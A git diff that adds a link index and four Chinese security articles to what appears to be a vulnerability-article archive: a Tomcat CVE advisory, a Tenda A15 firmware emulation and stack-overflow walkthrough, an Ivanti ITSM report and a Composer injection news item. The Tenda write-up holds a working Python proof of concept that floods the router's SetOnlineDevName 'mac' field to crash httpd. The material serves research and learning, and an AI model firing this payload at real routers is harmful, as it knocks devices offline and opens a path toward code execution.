diff --git a/data.json b/data.json index 8896f38d..53c81497 100644 --- a/data.json +++ b/data.json @@ -19900,5 +19900,24 @@ "https://mp.weixin.qq.com/s/GgQah_mZEOgE-sM_InC1xA": "WebStack系统CVE-2026-1555漏洞，支持未授权任意文件上传——RCE POC遭贩卖", "https://mp.weixin.qq.com/s/uexBRD_sVZqMz1dPtW-ApA": "【高危漏洞预警】Apache Tomcat 远程代码执行漏洞(CVE-2026-34486)", "https://mp.weixin.qq.com/s/6F-rbsxIOgNLzoXafgSJNg": "大语言模型驱动的漏洞挖掘：能力机制、场景分析与演进路径", - "https://mp.weixin.qq.com/s/ZZMFh2I6FiOAOh80JyhAwg": "【SRC实战】企业SRC中的两次任意用户注册漏洞" + "https://mp.weixin.qq.com/s/ZZMFh2I6FiOAOh80JyhAwg": "【SRC实战】企业SRC中的两次任意用户注册漏洞", + "https://mp.weixin.qq.com/s/aQdij4SsQhbE840Nf-hehw": "微软4月补丁星期二值得关注的漏洞", + "https://mp.weixin.qq.com/s/oo4bwTWyk4ahcHrj2qhddw": "【风险通告】微软4月安全更新补丁和多个高危漏洞风险提示", + "https://mp.weixin.qq.com/s/CndbsWSpVMhSDMeRZEH7FA": "IOT漏洞挖掘初体验-Tenda A15", + "https://mp.weixin.qq.com/s/tE1ru0R7FK44-mHo0fF5dQ": "微软确认SharePoint Server关键零日漏洞遭活跃攻击（CVE-2026-32201）", + "https://mp.weixin.qq.com/s/CidhE3791Nodwp9CbWNpQw": "【漏洞通告】Apache Tomcat EncryptInterceptor绕过漏洞(CVE-2026-34486)", + "https://mp.weixin.qq.com/s/QbPE4MYPikfr0cUfVg0oZA": "Ivanti Neurons for ITSM漏洞允许远程攻击者获取用户会话", + "https://mp.weixin.qq.com/s/tY5lmYSa0g-HdNhSe-MsCw": "一个零基础小白，如何从啥都不会到挖到人生第一个漏洞？", + "https://mp.weixin.qq.com/s/pjQyfYPpu_jRHM3RqUt_cQ": "论文研读与思考｜XSSky：通过局部路径持久模糊测试检测XSS漏洞", + "https://mp.weixin.qq.com/s/vqCWhkAK0GECS_SQ-xC5Gg": "【安全更新】微软4月安全更新多个产品高危漏洞通告", + "https://mp.weixin.qq.com/s/YTfCzsTdF4wZRnnUdQmVPA": "微软Defender零日漏洞可导致权限提升攻击", + "https://mp.weixin.qq.com/s/I4knZFuMN6uYTJqscwjHfA": "【安全圈】微软 SharePoint Server 0Day漏洞遭在野利用", + "https://mp.weixin.qq.com/s/-42YuZv_nyDrzMx2xaf_mw": "Apache Tomcat 远程代码执行漏洞，附漏洞自查方案", + "https://mp.weixin.qq.com/s/VdKJ9WvKpE-x4Rz9buhpEQ": "【免费领】Android系统漏洞实战权威教程", + "https://mp.weixin.qq.com/s/LCBNoUxTai6D-nRmE4IW-g": "【安全圈】Adobe 修复 PDF 阅读器零日漏洞，已被黑客利用至少四个月", + "https://mp.weixin.qq.com/s/SzeDpY60Ywdg1WxF7-H-bw": "用户名 ∕ 昵称内容注入漏洞", + "https://mp.weixin.qq.com/s/Q418HNHiqYF9YMZDchtyAA": "【漏洞通告】微软4月多个安全漏洞", + "https://mp.weixin.qq.com/s/YPVIc3MmgbXm2hFoehoFQA": "PHP Composer 多个新漏洞可导致任意命令执行", + "https://mp.weixin.qq.com/s/SXpPUvuZOvJuV9HtkL8vTg": "微软2026年4月补丁星期二 – 修复168个漏洞，包括正在被利用的0day", + "https://mp.weixin.qq.com/s/zXKubSZz9k9wRA_hW22eTQ": "真实安全漏洞，轻松到手" } \ No newline at end of file diff --git a/doc/2026-04/Apache Tomcat 远程代码执行漏洞，附漏洞自查方案.md b/doc/2026-04/Apache Tomcat 远程代码执行漏洞，附漏洞自查方案.md new file mode 100644 index 00000000..b7bbc504 --- /dev/null +++ b/doc/2026-04/Apache Tomcat 远程代码执行漏洞，附漏洞自查方案.md @@ -0,0 +1,132 @@ +# Apache Tomcat 远程代码执行漏洞，附漏洞自查方案 +原创 微步情报局 + 微步情报局 微步在线研究响应中心 2026-04-15 07:55 + +![](https://mmbiz.qpic.cn/mmbiz_png/fFyp1gWjicMKNkm4Pg1Ed6nv0proxQLEKJ2CUCIficfAwKfClJ84puialc9eER0oaibMn1FDUpibeK1t1YvgZcLYl3A/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +漏洞概况 + + +Apache Tomcat是一款开源的Java Servlet容器和Web服务器，广泛用于部署和运行Java Web应用。 + +近日，Apache Tomcat官方发布通告，修复了Apache Tomcat 远程代码执行漏洞（CVE-2026-34486）。 +微步情报局已成功复现。 +经分析，该漏洞源于针对CVE-2026-29146的修复引入了回归缺陷。在消息解密失败后，未能正确终止消息处理流程，而是继续调用 super.messageReceived(msg)，导致攻击者构造的未加密或加密错误的恶意消息能够绕过加密保护，直接进入 Tribes 集群的反序列化流程， +若服务器类路径中存在可利用的反序列化链，则可实现远程代码执行。 +（完整漏洞情报请查阅https://x.threatbook.com/v5/vul/XVE-2026-12886） + +此漏洞利用条件 +较为苛刻，建议用户通过如下方案自查： + +1. 优先排查Tomcat版本 + +2. 集群状态和EncryptIntercepto排查： +检查是否启用了 + Tribes  +集群并开启 +EncryptInterceptor +，此组件默认不开启，可自查配置文件 +( +默认路径 +$CATALINA_HOME/conf/server.xml) +中是否存在集群配置关键字(如：" +SimpleTcpCluster +")和EncryptInterceptor关键字(如： +"encryptionKey=") + +3. 检查集群端口（Tribes Receiver 端口）开放情况 + + +建议受此漏洞影响用户 +尽快修复。 + +漏洞处置优先级(VPT) + + +**综合处置优先级：** +中风险 +
基本信息
微步编号
XVE-2026-12886
CVE编号
CVE-2026-34486
漏洞类型
远程命令执行
利用条件评估
利用漏洞的网络条件
远程
是否需要绕过安全机制
否
对被攻击系统的要求
1.启用Tribes集群功能
2.攻击者能够访问集群端口(默认于4000开放)
3.集群通信配置EncryptInterceptor 拦截器
4.目标服务器的Java类路径中存在可利用的反序列化链
利用漏洞的权限要求
无须用户权限
是否需要受害者配合
否
利用情报
POC是否公开
否
已知利用行为
暂无
+漏洞影响范围 + +
产品名称
Apache Tomcat
受影响版本
9.0.116
10.1.53
11.0.20
有无修复补丁
有
+漏洞复现 + + +![image.png](https://mmbiz.qpic.cn/sz_mmbiz_png/T4OSm0sXdEOaV0NwKH9UYDqiakLtyDKdJjoctOQSxg0Acc5Z5saOONQPicnN46n7P165rjgOg1ZicZJWB1wncIVCMjeb4iaNevoMlwLqS9VdJKM/640?wx_fmt=png&from=appmsg "") + + +修复方案 + +### 官方修复方案 + +官方已发布修复方案，请访问链接下载： + +https://tomcat.apache.org/download-90.cgi + +https://tomcat.apache.org/download-101.cgi + +https://tomcat.apache.org/download-110.cgi +### 临时缓解措施 + +网络层面严格限制Tomcat集群通信端口的访问来源。 + +微步产品支撑 + + +微步漏洞情报于 +2026-04-10 +收录该漏洞。 + +微步下一代威胁情报平台NGTIP及X情报社区已于漏洞收录时向漏洞订阅用户推送该漏洞情报，并将持续推送后续更新；对于已经录入资产的用户，支持实时自动化排查受影响资产。 + +微步威胁感知平台TDP、 +微步威胁防御系统OneSIG + Java反序列化攻击的通用规则默认可检出。 + +![image.png](https://mmbiz.qpic.cn/mmbiz_png/T4OSm0sXdEP5Ph6XbJXKtO3iaEsWrOian4mOjUYLuyeRzIx7TukgnFWh57icXd9KRmcZnsQ0gRVUpztCSL0E1DWMEM4eW9njneGXT5lGxPapkA/640?wx_fmt=png&from=appmsg "") + + + +- END - +**微步漏洞情报订阅服务** + + +微步提供漏洞情报订阅服务，精准、高效助力企业漏洞运营： +- 提供高价值漏洞情报，具备及时、准确、全面和可操作性，帮助企业高效应对漏洞应急与日常运营难题； + +- 可实现对高威胁漏洞提前掌握，以最快的效率解决信息差问题，缩短漏洞运营MTTR； + +- 提供漏洞完整的技术细节，更贴近用户漏洞处置的落地； + +- 将漏洞与威胁事件库、APT组织和黑产团伙攻击大数据、网络空间测绘等结合，对漏洞的实际风险进行持续动态更新 +。 + + +扫码在线沟通 + +↓ +↓↓ + +![](https://mmbiz.qpic.cn/mmbiz_png/Yv6ic9zgr5hQl5bZ5Mx6PTAQg6tGLiciarvXajTdDnQiacxmwJFZ0D3ictBOmuYyRk99bibwZV49wbap77LibGQHdQPtA/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/mmbiz_png/Yv6ic9zgr5hTIdM9koHZFkrtYe5WU5rHxSDicbiaNFjEBAs1rojKGviaJGjOGd9KwKzN4aSpnNZDA5UWpY2E0JAnNg/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +[点此电话咨询]() + + + + +**X漏洞奖励计划** + + +“X漏洞奖励计划”是微步X情报社区推出的一款 +针对未公开 +漏洞的奖励计划，我们鼓励白帽子提交挖掘到的0day漏洞，并给予白帽子可观的奖励。我们期望通过该计划与白帽子共同努力，提升0day防御能力，守护数字世界安全。 + +活动详情： +https://x.threatbook.com/v5/vulReward + + + diff --git a/doc/2026-04/IOT漏洞挖掘初体验-Tenda A15.md b/doc/2026-04/IOT漏洞挖掘初体验-Tenda A15.md new file mode 100644 index 00000000..b9b69669 --- /dev/null +++ b/doc/2026-04/IOT漏洞挖掘初体验-Tenda A15.md @@ -0,0 +1,353 @@ +# IOT漏洞挖掘初体验-Tenda A15 +原创 胡楚昊 + 胡楚昊 胡楚昊 2026-04-15 12:58 + +[原创][分享][注意][分享]Tenda A15 固件模拟与漏洞复现-二进制漏洞-看雪安全社区｜专业技术交流与安全研究论坛 +# 前言 + +最近在pwn大手子的带领下逐渐学习物联网安全，想着先复现一个典型漏洞看看。 + +首先需要准备以下工作：**1.安装binwalk** + +binwalk是一把利刃。kali内置了binwalk，如果直接sudo apt install binwalk +可能会使用的时候报错，原因可能是因为python包环境冲突，解决办法是删除冲突的环境，这里以我的为例： +``` +python3 -m pip uninstall -y binwalk +rm -rf ~/.local/lib/python3.12/site-packages/binwalk* +sudo apt install --reinstall python3-binwalk binwalk -y +hash -r + +``` + +**2.安装sasquatch** +直接克隆仓库即可 +``` +git clone https://github.com/devttys0/sasquatch.git +cd sasquatch + +``` + +我当时报了这个错误： + +![image-20260414213325738](https://mmbiz.qpic.cn/sz_mmbiz_png/kt5lhqoJqjn5CNplWotF26RHsY6yzHXrDaicn1d7H0ZGMkfKqmcAO7wArmS9rfsw8nDzZSl4v5xFVQ0ZSlX7EbBHD8l3bibTwVKzYxRCtpdWI/640?wx_fmt=png&from=appmsg "") + +这里参考了https://xu17.top/2025/02/15/IOT%20%E5%9B%BA%E4%BB%B6%E5%88%86%E6%9E%90%E8%A7%A3%E5%8E%8B%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/的解决办法 + +如下： （虽然还会继续报错但是不影响日常使用了） +``` +#在sasquatch  目录 +sudo wget https://github.com/devttys0/sasquatch/pull/47.patch   +sudo patch -p1 < 47.patch   +sudo ./build.sh + +``` + +输入which sasquatch +正常回显就说明成功了 + +**3.qemu** + +这里需要安装qemu-mipsel-static  +和qemu-system-mipsel +这俩工具，用于在不同的系统架构上去模拟，用来执行目标程序 + +安装方法可以问AI，这里不多说了 +# 固件解包与环境模拟 + +输入命令：binwalk -Me IOT.bin +解包固件，出来一个文件系统 + +固件下载地址：https://static.tenda.com.cn/tdeweb/download/A15/US_A15V1.0RTL_V15.13.07.13_multi_TD01.zip + +这里咱们需要关注bin目录下的httpd文件 +``` +> file httpd +httpd: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, with debug_info, not stripped + + +``` + +通过file命令，足以看出这是32位可执行文件，我们还可用checksec +辅助判断一下： +``` +> pwn checksec httpd +[*] '/home/kali/Downloads/_US_A15V1.0RTL_V15.13.07.13_multi_TD01.bin.extracted/squashfs-root/bin/httpd' +    Arch:     mips-32-little +    RELRO:    No RELRO +    Stack:    No canary found +    NX:       NX unknown - GNU_STACK missing +    PIE:      No PIE (0x400000) +    Stack:    Executable +    RWX:      Has RWX segments + +``` + +说实话明显看出可能存在栈漏洞，具体的还需要进入程序分析 + + +![image-20260415174627965](https://mmbiz.qpic.cn/mmbiz_png/kt5lhqoJqjm3u5k2NaPia24ibaHzJkCnBxaFUMUO1MspCKN5eWonpZtT3Lo0H4mlz01cicyaSTsTcGxwJF2ibU5cogXsOj8gQ0DqmqvFMPdgVE0/640?wx_fmt=png&from=appmsg "") + +看到这是main函数，接下来用qemu模拟 + +需要注意，我们由于提取出了完整的文件系统，这里一般要把根目录设置成文件系统的路径，在这里至少先模拟出程序的运行环境 + +将 x86 架构下的 MIPS 翻译器（QEMU）复制到当前假根目录中： +``` +cp $(which qemu-mipsel-static) . + +``` + +然后运行：> sudo chroot . ./qemu-mipsel-static ./bin/httpd + +不出意外的话会报错： + +![image-20260415201702933](https://mmbiz.qpic.cn/mmbiz_png/kt5lhqoJqjkNgEBVGIQQpvFJWqibaJ1mEvSvxib0FPibNiau4HPa84ib8f8LrxBBR0SiaBzibubOoCUrsTQdAiarOzqkKB4Ewurj9qfiallaN6Tvd2iaA/640?wx_fmt=png&from=appmsg "") + +这里是因为我们qemu直接模拟执行，缺乏“开机”这个步骤，这个步骤会生成一些必须文件等关键操作，可以参考本文引用的两篇文章的描述： +> 在真实的 IoT 设备中，根文件系统（也就是提取出来的 squashfs +）通常是**只读的（Read-Only）** +。 +> 但是，httpd + 服务在运行时，必须生成一些动态数据，比如： +> 记录当前进程号的 PID 文件用户的 Session 缓存、临时上传的配置文件。运行时的网络状态（/var/run）。 +> **真实路由器的做法** +：在系统刚通电开机时，操作系统的启动脚本（init +）会在内存中划分出一块区域（tmpfs +，也就是内存虚拟盘），然后把 /var +、/tmp + 等需要频繁读写的目录挂载到这个内存盘上。接着，它会把出厂默认的配置文件（存放在以 _ro + 即 Read-Only 结尾的目录里）复制到真正的运行目录中。 +> **我们的模拟环境** +：提取出的 squashfs-root + 只是固件在关机状态下的静态文件。它缺少了开机时动态创建的那些目录，而且真正的配置文件还在 etc_ro + 里睡大觉，真正的网页文件还在 webroot_ro + 里。 +> 在目录etc_ro中有init.d目录，其中的文件就是启动项,但是不能直接去启动它，因为它包含 mount -t ramfs + 等命令会因为权限问题报错并且/sbin +、/etc + 等绝对路径与实际不符合 + + +解决办法是补环境 + +查看etc_ro内的文件：这就是开机初始化脚本rCs +``` +#! /bin/sh + +PATH=/sbin:/bin:/usr/sbin:/usr/bin/ +export PATH + +mount -t ramfs none /var/ + + +mkdir -p /var/etc +mkdir -p /var/media +mkdir -p /var/webroot +mkdir -p /var/etc/iproute +mkdir -p /var/run +mkdir -p /etc/udhcpc +mkdir -p /var/debug + +cp -rf /etc_ro/* /etc/ +cp -rf /webroot_ro/* /webroot/ +umount -f /tmp +mount -t tmpfs none /tmp -o size=3M +mount -a + +mount -t ramfs /dev +mkdir /dev/pts +mount -t devpts devpts /dev/pts +mdev -s +mkdir /var/run + +echo '/sbin/mdev' > /proc/sys/kernel/hotplug +#echo 'sd[a-z][0-9] 0:0 0660 @/usr/sbin/autoUsb.sh $MDEV' >> /etc/mdev.conf +#echo 'sd[a-z] 0:0 0660 $/usr/sbin/DelUsb.sh $MDEV' >> /etc/mdev.conf +#echo 'lp[0-9] 0:0 0660 */usr/sbin/IppPrint.sh'>> /etc/mdev.conf +#wds rule start +#echo 'wds*.* 0:0 0660 */etc/wds.sh $ACTION $INTERFACE' > /etc/mdev.conf +#wsd rule end +echo 'sd[a-z][0-9] 0:0 0660 @/usr/sbin/usb_up.sh $MDEV $DEVPATH' >> /etc/mdev.conf +echo '-sd[a-z] 0:0 0660 $/usr/sbin/usb_down.sh $MDEV $DEVPATH'>> /etc/mdev.conf +echo 'sd[a-z] 0:0 0660 @/usr/sbin/usb_up.sh $MDEV $DEVPATH'>> /etc/mdev.conf +echo '.* 0:0 0660 */usr/sbin/IppPrint.sh $ACTION $INTERFACE'>> /etc/mdev.conf +mkdir -p /var/ppp +# insmod /lib/modules/fastnat.ko  +insmod /lib/modules/bm.ko +#insmod /lib/modules/ai.ko  +# insmod /lib/modules/mac_filter.ko  +#insmod /lib/modules/ip_mac_bind.ko +# insmod /lib/modules/privilege_ip.ko +# insmod /lib/modules/qos.ko +# insmod /lib/modules/url_filter.ko +# insmod /lib/modules/loadbalance.ko +#insmod /lib/modules/app_filter.ko +#insmod /lib/modules/port_filter.ko +#insmod /lib/modules/arp_fence.ko +#insmod /lib/modules/ddos_ip_fence.ko +echo "enable 0 interval 0" >/proc/watchdog_cmd +chmod +x /etc/mdev.conf + +/*  +BUG[41877]:DUT播放组播视频，概率性出现有线PC无法进入管理界面 +解决SWITCH WAN口学到IP地址和BR0相同的arp表的问题 +*/ +echo 2 > /proc/sys/net/ipv4/conf/eth1/arp_ignore + + +``` + +看大佬的博客，解决办法如下： + +1。先按照启动脚本的思路，补充一些文件/文件夹 +``` +mkdir -p ./var/etc +mkdir -p ./var/media +mkdir -p ./var/webroot +mkdir -p ./var/etc/iproute +mkdir -p ./var/run +mkdir -p ./var/etc/udhcpc +mkdir -p ./var/debug +mkdir -p ./dev/pts +mkdir -p ./var/ppp +mkdir -p ./tmp + +cp -rf ./etc_ro/* ./var/etc/ +cp -rf ./webroot_ro/* ./var/webroot + + +``` + +2。挂载（Mount）：给程序装上“传感器，proc +、sys +、dev + ，路由器程序（httpd +）运行的时候，会去 /proc + 里看系统状态。如果不挂载，它看到的文件夹就是空的，它会觉得自己跑在一个“死掉”的系统里，然后直接报错退出。 +``` +sudo mount -t proc /proc ./proc +sudo mount -t sysfs /sys ./sys +sudo mount --bind /dev ./dev + +``` + +3.软链接 +``` +sudo ln -snf ./var/webroot ./webroot + +``` + +4.网卡接口配置 + +为了“伪造”出路由器程序赖以生存的硬件环境，并打通与该程序之间的通信链路，让固件正常运行，我们必须在 Linux 内核中伪造出它所需的网络拓扑 + + +![image-20260415202818886](https://mmbiz.qpic.cn/mmbiz_png/kt5lhqoJqjkYnLkLWQsUjWQzF4sDCJ6BkEc0a1DcI23yHD7MDrfFtUuTFcuTIcSAYGo954OkbNEjiaodSoGxgGiayxU92Nu52OM1BQee6EfiaI/640?wx_fmt=png&from=appmsg "") + +可以看到是br0和80端口 + +运行下列命令： +``` +sudo brctl addbr br0 +sudo ip addr add 192.168.0.1/24 dev br0 +sudo ip link set br0 up + +``` + +继续运行：sudo chroot . ./qemu-mipsel-static ./bin/httpd + +可以在相应的IP访问到网站，说明绑定成功： + +![image-20260415203113688](https://mmbiz.qpic.cn/mmbiz_png/kt5lhqoJqjkpsPzCZwIY4GXlflLlmKqTicibaI9re02AZOCrtvv5Fico3BFRYBKyhpBIiaLHxhhBzITvdwuXIsLpB99RFFp78PZUibo6dMyWWFu0/640?wx_fmt=png&from=appmsg "") + +看Tenda_AC15漏洞复现 | Thir0th's Blog师傅博客，可以patch下httpd以便捷搭建复现环境，但是我没有尝试 +# 漏洞分析 + +首先进入initwebs函数分析（main函数调用，通过函数名推测是一个初始化函数） + + +![image-20260415204102611](https://mmbiz.qpic.cn/mmbiz_png/kt5lhqoJqjnP5boJhObKW7icNDtvkjlkAZx7OmjEeVaCAxPI5UX25bOOea8m0vzNBmE8Tm4FZiaEzykqDhSSMm0QSgbDXXKWjAic6znIFicCowk/640?wx_fmt=png&from=appmsg "") + +这里面还有一张这就是腾达（Tenda）路由器网页后台的「功能菜单总表」 +``` +void formDefineTendDa(){ +  websAspDefine("aspGetCharset", aspGetCharset); +  websFormDefine("getOnlineList", formGetOnlineList); +  websAspDefine("asp_error_message", asp_error_message); +  websAspDefine("asp_error_redirect_url", asp_error_redirect_url); +  websFormDefine("SetOnlineDevName", formSetDeviceName); +  websFormDefine("setBlackRule", formAddMacfilterRule); +  websFormDefine("delBlackRule", formDelMacfilterRule); +  websFormDefine("getBlackRuleList", formGetMacfilterRuleList); +  websFormDefine("getDeviceInfo", formGetDeviceInfo); +  websFormDefine("telnet", TendaTelnet); +  websFormDefine("SysToolReboot", fromSysToolReboot); +  websFormDefine("SysToolRestoreSet", fromSysToolRestoreSet); +  websFormDefine("SysToolChangePwd", fromSysToolChangePwd); +  websFormDefine("SysToolSetUpgrade", fromSysToolSetUpgrade); +  websFormDefine("WifiBasicGet", formWifiBasicGet); +  websFormDefine("WifiBasicSet", formWifiBasicSet); +  websFormDefine("WifiApScan", formWifiApScan); +  websFormDefine("ate", TendaAte); +  websFormDefine("setApModeCfg", fromsetApModeCfg); +  websFormDefine("getApModeCfg", fromgetApModeCfg); +  websFormDefine("WifiExtraSet", fromSetWirelessRepeat); +  websFormDefine("getQuicksetBridge", fromGetWirelessRepeat); +  websFormDefine("getStatusBeforeBridge", fromGetWirelessRepeat); +  websFormDefine("exit", formExit); +  websFormDefine("hasLoginPwd", formhasLoginPwd); +  websFormDefine("loginOut", fromLoginOut); +  websFormDefine("sysToolsInfo", fromSysToolsInfo); +} + +``` + +大佬说关注set之类的函数，和数据读写有关，可能存在栈溢出这种漏洞 + +分析处理SetOnlineDevName + 请求的formSetDeviceName + 函数，其中的set_device_name +发现漏洞 + +在常规 Pwn 题里，接收输入的是 read(0, buf, size) + 或者 gets(buf) +，直接从标准输入流读。 + +而在 Tenda 路由器的 formSetDeviceName + 函数里，它绝对不会调用 scanf + 或 read + 等待你输入。websFormHandler + 会把 HTTP POST 请求全部接收完毕，并解析成了内存里的一个字典结构 + +这是大佬给的POC： +``` +    import requests +    from pwn import cyclic + +    ip = '192.168.0.1' # 填网桥 IP +    url =  f'http://{ip}/goform/SetOnlineDevName' + +    # 结合优势：攻击 mac 字段，并使用 4000 字节的超大探针！ +    payload = { +      "mac": cyclic(4000),  +      "devName": "devname1" +    } + +    print("[*] 正在发送 4000 字节的终极探针...") +    try: +        requests.post(url=url , data=payload, timeout=2) +    except Exception: +        print("[+] 目标已彻底断开，绝对当场暴毙！") + + +``` + +如果失败，需要patch一下程序的某个字节 + +看大佬博客，是在下图抛出错误的 + + +![image-20260415204813384](https://mmbiz.qpic.cn/sz_mmbiz_png/kt5lhqoJqjnzzzK4geAAHatVmFjwQLR0BIGe15EvrtT5PFlWEuXX1VDlRWNILxCn2HXzAIu7olAibH1oYkOn4NibqemHqnZvqlvib1CgBc5lhM/640?wx_fmt=png&from=appmsg "") + +需要nop掉灰色方框的语句 + diff --git a/doc/2026-04/Ivanti Neurons for ITSM漏洞允许远程攻击者获取用户会话.md b/doc/2026-04/Ivanti Neurons for ITSM漏洞允许远程攻击者获取用户会话.md new file mode 100644 index 00000000..7bda704a --- /dev/null +++ b/doc/2026-04/Ivanti Neurons for ITSM漏洞允许远程攻击者获取用户会话.md @@ -0,0 +1,40 @@ +# Ivanti Neurons for ITSM漏洞允许远程攻击者获取用户会话 + 网安百色 2026-04-15 10:43 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/WibvcdjxgJnuY3uCIFkGzhF8T5F60gPb1D7ZND4MjP6KiaBuYGIHOpurhSerNVLH2HHvicg6S7qAfcYhnJz77Uyo48UlvLicFbShakeGk0XWGZA/640?wx_fmt=png&from=appmsg "") + +Ivanti发布了安全更新，修复了其内部部署IT服务管理平台Ivanti Neurons for ITSM (N-ITSM)中的两个中等严重性漏洞。 + +如果被利用，这些漏洞可能允许远程认证攻击者保留未授权访问权限或从其他用户那里窃取会话数据。 + +该公司确认，在公开披露时，尚未发现任何针对这两个漏洞的活跃利用行为。这两个问题都是通过Ivanti的负责任披露计划报告的，并已在新发布的2025.4版本中得到修复。 + +**CVE-2026-4913：路径保护不当漏洞** + +第一个漏洞CVE-2026-4913的CVSS评分为5.7（中等），归类于CWE-424（保护机制失效）。该漏洞源于Ivanti N-ITSM 2025.4版本之前对备选路径的保护不当。 + +远程认证攻击者可能利用此漏洞，即使其账户已被管理员禁用，仍能保留对系统的访问权限。 + +这种类型的绕过在企业环境中尤为危险，因为在内部威胁事件或员工离职期间，及时撤销访问权限是一项关键的安全控制措施。 + +该漏洞可通过网络访问，需要低权限，并且需要用户交互才能触发，这些因素共同构成了其中等严重性评级。 + +**CVE-2026-4914：存储型XSS导致跨会话数据窃取** + +第二个漏洞CVE-2026-4914是一个存储型跨站脚本（XSS）漏洞，CVSS评分为5.4（中等），归类于CWE-79。在Ivanti N-ITSM 2025.4版本之前，该漏洞允许远程认证攻击者注入恶意脚本，这些脚本会在其他用户会话的上下文中执行。 + +通过利用此漏洞，攻击者可能获取来自其他用户会话的有限信息，可能捕获会话令牌、凭证或敏感的ITSM数据。 + +该攻击需要用户交互，意味着受害者必须访问恶意制作的内容才能使攻击成功。该漏洞的跨范围影响（CVSS向量中的S:C）表明其影响可能超出即时会话范围。 + +这两个漏洞影响Ivanti Neurons for ITSM 2025.3版本及所有先前版本，涵盖内部部署和云部署环境。 +- 内部部署客户必须通过Ivanti许可系统（ILS）手动升级到2025.4版本 +- 云客户无需采取任何行动，因为Ivanti已于2025年12月12日对所有云环境应用了修复 +Ivanti敦促所有内部部署客户立即应用2025.4更新。由于尚未观察到公开利用行为，目前没有可用的入侵指标。 + +运行旧版本的组织应优先处理此次升级，特别是考虑到CVE-2026-4913在具有严格访问控制策略的环境中所带来的访问保留风险。 + +本公众号所载文章为本公众号原创或根据网络搜索下载编辑整理，文章版权归原作者所有，仅供读者学习、参考，禁止用于商业用途。因转载众多，无法找到真正来源，如标错来源，或对于文中所使用的图片、文字、链接中所包含的软件/资料等，如有侵权，请跟我们联系删除，谢谢！ + +![图片](https://mmbiz.qpic.cn/mmbiz_jpg/1QIbxKfhZo5lNbibXUkeIxDGJmD2Md5vKicbNtIkdNvibicL87FjAOqGicuxcgBuRjjolLcGDOnfhMdykXibWuH6DV1g/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&randomid=p6hk1x4r&tp=webp#imgIndex=1 "") + diff --git a/doc/2026-04/PHP Composer 多个新漏洞可导致任意命令执行.md b/doc/2026-04/PHP Composer 多个新漏洞可导致任意命令执行.md new file mode 100644 index 00000000..2ea122f2 --- /dev/null +++ b/doc/2026-04/PHP Composer 多个新漏洞可导致任意命令执行.md @@ -0,0 +1,115 @@ +# PHP Composer 多个新漏洞可导致任意命令执行 +Ravie Lakshmanan + Ravie Lakshmanan 代码卫士 2026-04-15 10:19 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Az5ZsrEic9ot90z9etZLlU7OTaPOdibteeibJMMmbwc29aJlDOmUicibIRoLdcuEQjtHQ2qjVtZBt0M5eVbYoQzlHiaw/640?wx_fmt=gif "") +   +聚焦源代码安全，网罗国内外最新资讯！ + +**编译：代码卫士** + +**PHP****的包管理器 Composer 中存在两个高危漏洞，如遭成功利用可导致任意命令执行。** + + + + + + + + + + + + + + + + + + +这两个漏洞影响 Perforce VCS（版本控制软件），简述如下： + +- CVE-2026-40175（CVSS评分7.8）是一个输入验证不当漏洞，可导致攻击者利用恶意 composer.json 中的Perforce仓库配置注入任意命令，在运行Composer的用户上下文中执行命令。 + +- CVE-2026-40261（CVSS评分8.8）：因转义不足导致的输入验证漏洞，攻击者可通过包含shell元字符的构造源引用注入任意命令。 + + + +维护者指出，即使系统未安装Perforce VCS，Composer仍会执行上述注入命令。这两个漏洞影响如下版本： + +- >= 2.3 且 < 2.9.6（已在2.9.6中修复） + +- >= 2.0 且 < 2.2.27（已在2.2.27中修复） + + + +若无法立即打补丁，建议在运行Composer前检查composer.json文件，确保Perforce相关字段包含有效值；仅使用受信任的Composer仓库；仅对来自可信源的项目运行Composer命令；避免使用 --prefer-dist 选项或preferred-install: dist配置。 + +Composer表示扫描Packagist.org后并未发现攻击者通过发布包含恶意Perforce信息的软件包利用上述漏洞的证据。针对自托管Private Packagist用户，预计将发布新版本。 + +Composer 表示，作为预防措施，自2026年4月10日（周五）起，Packagist.org已禁用Perforce源元数据的发布。无论何种情况，建议用户立即更新Composer安装。 + +**** +**** + + 开源 +卫士试用地址： +https://oss.qianxin.com/#/login + + 代码卫士试用地址：https://sast.qianxin.com/#/login + + + + + + + + + +**推荐阅读** + +[这个严重的PHP漏洞正遭大规模利用](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247522450&idx=1&sn=d780d2de95939199fea4d699bb1d2080&scene=21#wechat_redirect) + + +[PHPFusion 开源 CMS 中存在严重漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247517570&idx=2&sn=7f19eccf19674dfcdf5f6515082f6989&scene=21#wechat_redirect) + + +[热门开源Dompdf PHP 库中存在严重漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247515460&idx=2&sn=6ff90ed5a1a5cfe857a4aa75a16def08&scene=21#wechat_redirect) + + + + + +**原文链接** + +https://thehackernews.com/2026/04/new-php-composer-flaws-enable-arbitrary.html + + +题图：Pixa +bay Licens +e + + +**本文由奇安信编译，不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。** + + + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSf7nNLWrJL6dkJp7RB8Kl4zxU9ibnQjuvo4VoZ5ic9Q91K3WshWzqEybcroVEOQpgYfx1uYgwJhlFQ/640?wx_fmt=jpeg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSN5sfviaCuvYQccJZlrr64sRlvcbdWjDic9mPQ8mBBFDCKP6VibiaNE1kDVuoIOiaIVRoTjSsSftGC8gw/640?wx_fmt=jpeg "") + +**奇安信代码卫士 (codesafe)** + +国内首个专注于软件开发安全的产品线。 + +   